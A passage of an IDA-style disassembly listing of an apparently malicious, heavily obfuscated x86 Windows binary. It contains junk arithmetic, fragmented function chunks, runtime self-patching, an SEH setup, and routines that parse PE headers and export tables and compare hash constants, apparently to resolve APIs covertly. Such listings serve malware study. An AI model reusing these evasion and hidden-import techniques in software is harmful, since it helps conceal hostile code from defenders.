; FUNCTION CHUNK AT 0042631C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00427895 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428551 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_426019
sub_426671	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42387A


loc_426685:				; CODE XREF: sub_42387A:loc_4270DDj
					; sub_423444+3CB8j
		rol	ecx, 1Ch
		add	ecx, 0AE37F7A3h
		xchg	ecx, [esp+0]
		jmp	sub_4278DC
; END OF FUNCTION CHUNK	FOR sub_42387A
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 11h
		mov	ds:dword_428B04, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_4266A1:				; CODE XREF: sub_425BD2+1689j
		jmp	nullsub_60
; ---------------------------------------------------------------------------


loc_4266A6:				; CODE XREF: sub_425BD2-1433j
		jmp	nullsub_56
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269BD


loc_4266AB:				; CODE XREF: sub_4269BD-289Bj
		jmp	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_4269BD
; ---------------------------------------------------------------------------


loc_4266B0:				; CODE XREF: hjohnhn9:00424112j
		jmp	loc_428FDB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266B5	proc near		; CODE XREF: sub_4262C5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424913 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425D55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426B04 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428A6C SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_425D55
sub_4266B5	endp

; ---------------------------------------------------------------------------


loc_4266BE:				; CODE XREF: hjohnhn9:00423E5Fj
		jz	sub_4283C9
		rol	ebp, 1Eh
		jmp	sub_427A58
; ---------------------------------------------------------------------------


loc_4266CC:				; CODE XREF: hjohnhn9:004261A6j
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_426F68
		mov	eax, [ebp-20h]
		jmp	loc_426102
; ---------------------------------------------------------------------------
		xor	edx, 1B2A15EAh
		xor	edx, edi
		jmp	sub_428DF9
; ---------------------------------------------------------------------------


loc_4266F0:				; DATA XREF: sub_427486:loc_424E94o
		rol	eax, 1Ah
		push	offset sub_424A9D
		jmp	locret_425F6D
; ---------------------------------------------------------------------------
		add	edi, 6AE1C4D4h
		jmp	sub_4238CC

; =============== S U B	R O U T	I N E =======================================



sub_426708	proc near		; CODE XREF: sub_424161-610p
					; sub_4240AE+3602j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247A4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004261BC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426311 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004264AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426947 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00426E5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004283D8 SIZE 00000008 BYTES

		jnb	sub_426604
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_4264AD
sub_426708	endp

; ---------------------------------------------------------------------------


loc_42671A:				; CODE XREF: hjohnhn9:loc_428B6Cj
		or	esi, 0B73C976Fh
		add	esi, 8457B61h
		mov	esi, [esi]
		xchg	esi, [esp]
		jmp	locret_427E75
; ---------------------------------------------------------------------------
		jb	loc_4287BA
		jmp	loc_42417B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E94


loc_42673C:				; CODE XREF: sub_425E94+Aj
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_425E94

; =============== S U B	R O U T	I N E =======================================



sub_426741	proc near		; CODE XREF: sub_42774F+4p
		mov	dword ptr [eax], 0

locret_426747:				; CODE XREF: hjohnhn9:loc_424F1Aj
		retn
sub_426741	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_426749	proc near		; CODE XREF: sub_4284CB+18p

; FUNCTION CHUNK AT 0042373A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004281F8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00428E46 SIZE 0000001F BYTES

		push	ebp
		jmp	loc_428E46
sub_426749	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42441D


loc_42674F:				; CODE XREF: sub_42441D+Dj
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		push	offset loc_426AC3
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_42441D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_426762:				; CODE XREF: sub_423CDB:loc_424BB4j
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4244EE
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_425076
; END OF FUNCTION CHUNK	FOR sub_423CDB

; =============== S U B	R O U T	I N E =======================================



sub_42677F	proc near		; CODE XREF: sub_424A28:loc_427ACFj
					; sub_424A28+4492j

var_14		= dword	ptr -14h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00423C56 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427F33 SIZE 00000007 BYTES

		push	ebp
		push	ebp
		mov	ebp, esi
		xchg	ebp, [esp+8+var_8]
		push	edi
		push	ebx
		push	edx
		jmp	loc_423C56
sub_42677F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427994


loc_42678E:				; CODE XREF: sub_427994-3F94j
		mov	eax, [eax]
		cmp	dword ptr [eax], 4550h


loc_426796:				; CODE XREF: hjohnhn9:loc_426632j
		jnz	loc_42476D
		jmp	loc_427904
; END OF FUNCTION CHUNK	FOR sub_427994
; ---------------------------------------------------------------------------
		jnb	loc_427F49
		jmp	loc_427790
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_4267AC:				; CODE XREF: sub_425CB3:loc_427B97j
		add	ecx, 5089408Eh
		xor	ecx, 3DE8ABC3h
		xchg	ecx, [esp+0Ch+var_C]
		push	eax
		lea	eax, sub_428F4A
		push	eax
		push	0
		push	0
		jmp	loc_427860
; END OF FUNCTION CHUNK	FOR sub_425CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_4267CC:				; CODE XREF: sub_42851A+446j
		pop	ecx
		mov	eax, ds:dword_428384
		or	eax, eax
		jnz	loc_423692
		jmp	loc_4269E6
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_4267E0:				; CODE XREF: sub_428477+4j
		cmp	ds:dword_423954, 0
		call	sub_424631


loc_4267EC:				; CODE XREF: hjohnhn9:00426383j
		jmp	loc_42395D
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_4267F1:				; CODE XREF: sub_423CDB+10j
		jz	loc_4244EE
		call	nullsub_2


loc_4267FC:				; CODE XREF: sub_423B05+15Cj
					; sub_425029:loc_4270BBj ...
		jo	loc_426268
		xor	eax, eax
		call	sub_4250C3


loc_426809:				; CODE XREF: sub_4264CF+ED3j
		jmp	loc_426B1F
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_42680E:				; CODE XREF: sub_4237F4+45E7j
		rol	eax, 12h
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		call	sub_4244F5
		retn
; END OF FUNCTION CHUNK	FOR sub_4237F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_42681D:				; CODE XREF: sub_427D6A-2C33j
					; sub_4244F5:loc_425E44j ...
		push	offset loc_424DD7
		jmp	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_4244F5

; =============== S U B	R O U T	I N E =======================================



sub_426827	proc near		; DATA XREF: sub_425BD2-1438o
		dec	dword ptr [ebp-10h]
		inc	dword ptr [ebp-4]
		call	sub_426C09

locret_426832:				; CODE XREF: sub_4279C8:loc_429013j
		retn
sub_426827	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_426833:				; CODE XREF: sub_42304F+40C5j
		jmp	loc_4243F2
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
		shr	eax, 17h
		jmp	loc_4278B7
; ---------------------------------------------------------------------------
		sbb	edi, ebx
		jmp	sub_426BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427032


loc_426847:				; CODE XREF: sub_427032:loc_427E4Fj
		call	sub_426859
		jnz	loc_425B24


loc_426852:				; CODE XREF: sub_426E8C:loc_42804Bj
		mov	eax, ebx
		jmp	loc_425B26
; END OF FUNCTION CHUNK	FOR sub_427032

; =============== S U B	R O U T	I N E =======================================



sub_426859	proc near		; CODE XREF: sub_426E8C-25ABp
					; sub_427032:loc_426847p ...

; FUNCTION CHUNK AT 0042898F SIZE 00000005 BYTES

		mov	eax, [ebx+ecx]
		xor	eax, [ebx+ecx+4]
		cmp	eax, 7C61090Eh
		jmp	loc_42898F
sub_426859	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4275A3


loc_42686B:				; CODE XREF: sub_4275A3+Aj
		jmp	loc_426134
; END OF FUNCTION CHUNK	FOR sub_4275A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_426870:				; CODE XREF: sub_427C9B-2D1Bj
		jmp	nullsub_116
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_426875:				; CODE XREF: sub_424819:loc_426B97j
		jnz	loc_428ED0


loc_42687B:				; CODE XREF: sub_428436+5j
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
		jns	loc_428626
		ror	edx, 8


loc_426889:				; CODE XREF: hjohnhn9:004281DFj
		jmp	loc_428ED0
; ---------------------------------------------------------------------------


loc_42688E:				; CODE XREF: hjohnhn9:loc_4249BAj
		mov	edx, [ebp+8]
		or	[edx-8], eax
; START	OF FUNCTION CHUNK FOR sub_424631


loc_426894:				; CODE XREF: sub_428C4E:loc_425EA4j
					; sub_426604:loc_428C3Fj ...
		jo	loc_4233F8
		cmp	dword ptr [ebp-14h], 4
		jnz	loc_424F28


loc_4268A4:				; CODE XREF: hjohnhn9:00424461j
		mov	eax, [ebp+8]
		jmp	loc_4243ED
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
		sbb	esi, eax
		jmp	sub_4264FA
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: hjohnhn9:00424FFBj
		jb	loc_424DC6
		inc	ds:dword_4233C4
		lea	eax, nullsub_118
		mov	byte ptr [eax],	0C3h
		push	edx
		push	0E3CA6C32h
		jmp	loc_427B88
; ---------------------------------------------------------------------------


loc_4268D3:				; DATA XREF: sub_424D38+3D79o
		test	al, al
		jnz	loc_427BB5
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_4268DB:				; CODE XREF: sub_4250FC+4j
					; sub_4287BF:loc_427234j ...
		call	sub_4248F9


loc_4268E0:				; CODE XREF: hjohnhn9:004232FDj
		jmp	loc_423361
; END OF FUNCTION CHUNK	FOR sub_4250FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_4268E5:				; CODE XREF: sub_4231AD:loc_426A62j
		cmp	al, 0C2h
		jz	loc_427555
		mov	eax, [ebp-4]
		mov	ax, [eax]
		jmp	loc_424CEC
; END OF FUNCTION CHUNK	FOR sub_4231AD
; ---------------------------------------------------------------------------


loc_4268F8:				; CODE XREF: hjohnhn9:loc_42823Aj
		and	edx, 0B238D165h
		or	edx, 0F450CED8h
		add	edx, 0BF17789h
		xchg	edx, [esp]
		jmp	loc_425E3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4250FC


loc_426912:				; CODE XREF: sub_4250FC:loc_4234A7j
		add	eax, [esp-4+arg_0]
		adc	edx, [esp-4+arg_4]
		add	esp, 8
		mov	[ebp-4], eax
		jmp	loc_424D4A
; END OF FUNCTION CHUNK	FOR sub_4250FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426924	proc near		; CODE XREF: sub_4287BF-1576p
					; sub_4287BF-13Bp

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h

; FUNCTION CHUNK AT 004233D3 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		jmp	loc_4233D3
sub_426924	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_42692F:				; CODE XREF: sub_424631+C1Cj
		or	dword ptr [eax-8], 8
		jmp	loc_427D89
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_426938:				; CODE XREF: sub_424B4Aj
					; sub_426354-17F0j
		cmp	dword ptr [ebp-1Ch], 67h
		push	offset sub_427805
		jmp	nullsub_20
; END OF FUNCTION CHUNK	FOR sub_426354
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426708


loc_426947:				; CODE XREF: sub_426708-3F1j
		not	ebp
		or	eax, 0F0CF36D1h
		mov	ebx, 6289DE42h
		and	ecx, edx
		or	eax, 4E2FC016h
		jmp	loc_4247A4
; END OF FUNCTION CHUNK	FOR sub_426708

; =============== S U B	R O U T	I N E =======================================



sub_426961	proc near		; CODE XREF: sub_428CC9-3137p
					; hjohnhn9:004265E3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042784B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004278A0 SIZE 00000017 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		push	0F195E43Ah
		xchg	ebx, [esp+4+var_4]
		mov	eax, ebx
		pop	ebx
		or	eax, 4EBD3638h
		jmp	loc_42784B
sub_426961	endp

; ---------------------------------------------------------------------------


loc_42697C:				; CODE XREF: hjohnhn9:00428A56j
		xchg	edx, [esp]
		jmp	nullsub_1
; ---------------------------------------------------------------------------
		test	edi, 2A51C452h
		jmp	loc_426C41

; =============== S U B	R O U T	I N E =======================================



sub_42698F	proc near		; CODE XREF: sub_423CCD+3520p
					; hjohnhn9:004274C5j

; FUNCTION CHUNK AT 00426E55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042726B SIZE 00000002 BYTES

		xchg	edx, [esp+0]


loc_426992:				; CODE XREF: hjohnhn9:0042386Fj
		pop	edx
		inc	dword ptr [ebp-8]


loc_426996:				; CODE XREF: hjohnhn9:00423B67j
					; sub_423CCD+35B6j
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx
		jmp	loc_426E55
sub_42698F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_4269A0:				; CODE XREF: sub_42325E-7Ej
					; sub_42325E+42DEj
		and	ebx, 19C6FA51h
		rol	ebx, 14h
		add	ebx, 8030F40Bh
		xchg	ebx, [esp+18h+var_18]
		jmp	sub_4279ED
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------


loc_4269B7:				; CODE XREF: hjohnhn9:00428801j
		jns	loc_4286A7

; =============== S U B	R O U T	I N E =======================================



sub_4269BD	proc near		; CODE XREF: sub_426924-3548p

; FUNCTION CHUNK AT 00424117 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004266AB SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		mov	eax, [ebp-14h]
		mov	[ebp-0Ch], eax
		jmp	loc_424117
sub_4269BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4269D9:				; CODE XREF: hjohnhn9:loc_4282C9j
		jg	near ptr dword_4236FC+35h
		cmp	ebp, esi
		jmp	loc_423977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_4269E6:				; CODE XREF: sub_42851A-1D3Fj
		jz	loc_424E76
		jmp	loc_429107
; END OF FUNCTION CHUNK	FOR sub_42851A
; ---------------------------------------------------------------------------
		cmp	eax, 22C84A22h
		jmp	loc_424EC3
; ---------------------------------------------------------------------------
		add	ebp, ecx
		jmp	sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_426A03:				; CODE XREF: sub_424819:loc_425F9Ej
		jz	loc_426491


loc_426A09:				; CODE XREF: hjohnhn9:00426EBFj
		jmp	loc_427B0E
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_426A0E:				; CODE XREF: sub_426F5A-3A5j
		jmp	loc_42513C
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------
		pushf
		or	ecx, 0C756CE28h
		mov	eax, ebx
		jmp	loc_428AD2
; ---------------------------------------------------------------------------
		ror	edx, 14h
		jmp	sub_425E94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425B19


loc_426A29:				; CODE XREF: sub_425B19+16j
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_425B19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4285DF


loc_426A2B:				; CODE XREF: sub_4285DF+7j
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_4285DF

; =============== S U B	R O U T	I N E =======================================



sub_426A30	proc near		; CODE XREF: sub_425B19+2p

; FUNCTION CHUNK AT 00423126 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042328D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004247B9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004248F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00426BBA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426FF4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00427179 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00427BB3 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004288AD SIZE 0000001C BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_427032
		call	sub_42873F
		mov	edx, [ebx+3Ch]
		mov	edx, [ebx+edx+80h]
		jmp	loc_427179
sub_426A30	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D64


loc_426A58:				; CODE XREF: sub_428D64+Aj
		jmp	loc_428D33
; END OF FUNCTION CHUNK	FOR sub_428D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282F8


loc_426A5D:				; CODE XREF: sub_4282F8-272Bj
		jmp	nullsub_51
; END OF FUNCTION CHUNK	FOR sub_4282F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4231AD


loc_426A62:				; CODE XREF: sub_4231AD+11j
		jmp	loc_4268E5
; END OF FUNCTION CHUNK	FOR sub_4231AD
; ---------------------------------------------------------------------------
		rol	edi, 0Dh
		push	ebp
		jmp	sub_423F77
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	edx, esi
		jmp	loc_428655

; =============== S U B	R O U T	I N E =======================================



sub_426A78	proc near		; CODE XREF: sub_4279C0-2FEEp
					; hjohnhn9:00426F30j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423217 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004233C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042377B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00423D47 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004250D5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004250EF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425187 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425F15 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00426573 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00427436 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004276FC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004279B6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B1B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00428510 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428994 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428EDE SIZE 00000007 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	esp, ebp
		pop	ebp
		jmp	loc_4279B6
sub_426A78	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_426A84:				; CODE XREF: sub_423BC3-4FBj
		add	ebx, 0F684B8BAh


loc_426A8A:				; CODE XREF: sub_4251EB-1F19j
		cmp	ebp, ecx
		jmp	loc_427825
; END OF FUNCTION CHUNK	FOR sub_423BC3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428DDB


loc_426A92:				; CODE XREF: sub_428DDB+Ej
		jmp	locret_428EC4
; END OF FUNCTION CHUNK	FOR sub_428DDB
; ---------------------------------------------------------------------------


loc_426A97:				; DATA XREF: sub_426F85+11D3o
		inc	eax
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-18h], 0
; START	OF FUNCTION CHUNK FOR sub_427852


loc_426AA2:				; CODE XREF: sub_427852+733j
		mov	eax, [ebp-4]
		mov	edx, [ebp-14h]
		jmp	loc_428F16
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------


loc_426AAD:				; DATA XREF: sub_424771+1o
		call	sub_428F0B
		push	eax
		push	eax
		call	sub_428E01
		call	sub_4265CD
		jmp	loc_424723
; ---------------------------------------------------------------------------


loc_426AC3:				; DATA XREF: sub_42441D+233Bo
		shr	eax, 0Bh
		xor	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_4240C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_426AD1:				; CODE XREF: sub_425029:loc_425040j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0


loc_426AD7:				; CODE XREF: sub_427C9B-21A5j
		jnz	loc_423031
		mov	eax, [ebp-8]
		shl	eax, 3
		jmp	loc_42737B
; END OF FUNCTION CHUNK	FOR sub_425029
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_426AE9:				; CODE XREF: sub_42304F+437Cj
		jmp	loc_426C4F
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
		ror	ebp, 18h
		jmp	sub_428271

; =============== S U B	R O U T	I N E =======================================



sub_426AF6	proc near		; CODE XREF: hjohnhn9:004289D6p
					; hjohnhn9:00428EFDj
		xchg	edx, [esp+0]
		pop	edx
		ror	eax, 7
		mov	ds:dword_4233A0, eax
		retn
sub_426AF6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B5


loc_426B04:				; CODE XREF: sub_4266B5+23C4j
		jmp	loc_424913
; END OF FUNCTION CHUNK	FOR sub_4266B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427810


loc_426B09:				; CODE XREF: sub_427810+10j
		jmp	loc_4273B2
; END OF FUNCTION CHUNK	FOR sub_427810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F77


loc_426B0E:				; CODE XREF: sub_423F77+9j
		jmp	loc_423F91
; END OF FUNCTION CHUNK	FOR sub_423F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_426B13:				; CODE XREF: sub_423CDB:loc_42886Cj
		jz	loc_427B9C
		jmp	loc_427449
; END OF FUNCTION CHUNK	FOR sub_423CDB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_426B1F:				; CODE XREF: sub_423CDB:loc_426809j
		pop	ecx
		pop	ecx


loc_426B21:				; CODE XREF: sub_424361:loc_42702Dj
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_423CDB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_426B24:				; CODE XREF: sub_4237F4+6j
		jmp	loc_427DD2
; END OF FUNCTION CHUNK	FOR sub_4237F4

; =============== S U B	R O U T	I N E =======================================



sub_426B29	proc near		; CODE XREF: sub_4264CF:loc_427392p
					; sub_427032:loc_427E45p

; FUNCTION CHUNK AT 00425284 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427D8E SIZE 0000000F BYTES

		push	ebp
		jmp	loc_425284
sub_426B29	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4237F4


loc_426B2F:				; CODE XREF: sub_4237F4+45EDj
		jz	loc_4243D9
		jmp	loc_423963
; END OF FUNCTION CHUNK	FOR sub_4237F4
; ---------------------------------------------------------------------------


loc_426B3A:				; CODE XREF: hjohnhn9:004239B3j
					; hjohnhn9:004239CBj
		cmp	dword ptr [ebp-8], 0A22F8A70h
		jz	loc_4244EE
		mov	eax, [ebp-0Ch]
		call	sub_4244F5
		jmp	loc_426184
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_426B55:				; CODE XREF: sub_42345B+CF3j
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427B7A


loc_426B5A:				; CODE XREF: sub_427B7A:loc_427A79j
		add	dword ptr [ebp-8], 4
		jmp	loc_42856C
; END OF FUNCTION CHUNK	FOR sub_427B7A
; ---------------------------------------------------------------------------


loc_426B63:				; CODE XREF: hjohnhn9:loc_426597j
					; hjohnhn9:00427A73j
		call	sub_426BD2
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_426B68:				; CODE XREF: sub_4265CD-217Ej
		jmp	loc_427FAF
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------
		and	ebx, edx
		mov	ebp, 571DCF8Eh
		jmp	sub_423CDB
; ---------------------------------------------------------------------------
		and	eax, ebp
		jmp	sub_428249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428271


loc_426B80:				; CODE XREF: sub_428271+9j
		shl	eax, 2
		cdq
		js	loc_424073
		add	eax, [esp+0]
		call	sub_427852


loc_426B92:				; CODE XREF: sub_424A55+246j
		jmp	loc_4286E6
; END OF FUNCTION CHUNK	FOR sub_428271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_426B97:				; CODE XREF: sub_424819-C11j
		jmp	loc_426875
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------


loc_426B9C:				; CODE XREF: hjohnhn9:00426F6Bj
					; hjohnhn9:loc_427F49j
		mov	eax, [ebp-1Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_42619C
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_426BA8:				; CODE XREF: sub_426F5A:loc_425D65j
		call	sub_427E85


loc_426BAD:				; DATA XREF: sub_426CE6+16FCo
		or	eax, eax
		jnz	loc_426FC7
		jmp	loc_426A0E
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_426BBA:				; CODE XREF: sub_426A30:loc_423126j
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		call	sub_426E8C


loc_426BC5:				; CODE XREF: sub_42790F+Dj
		jmp	nullsub_25
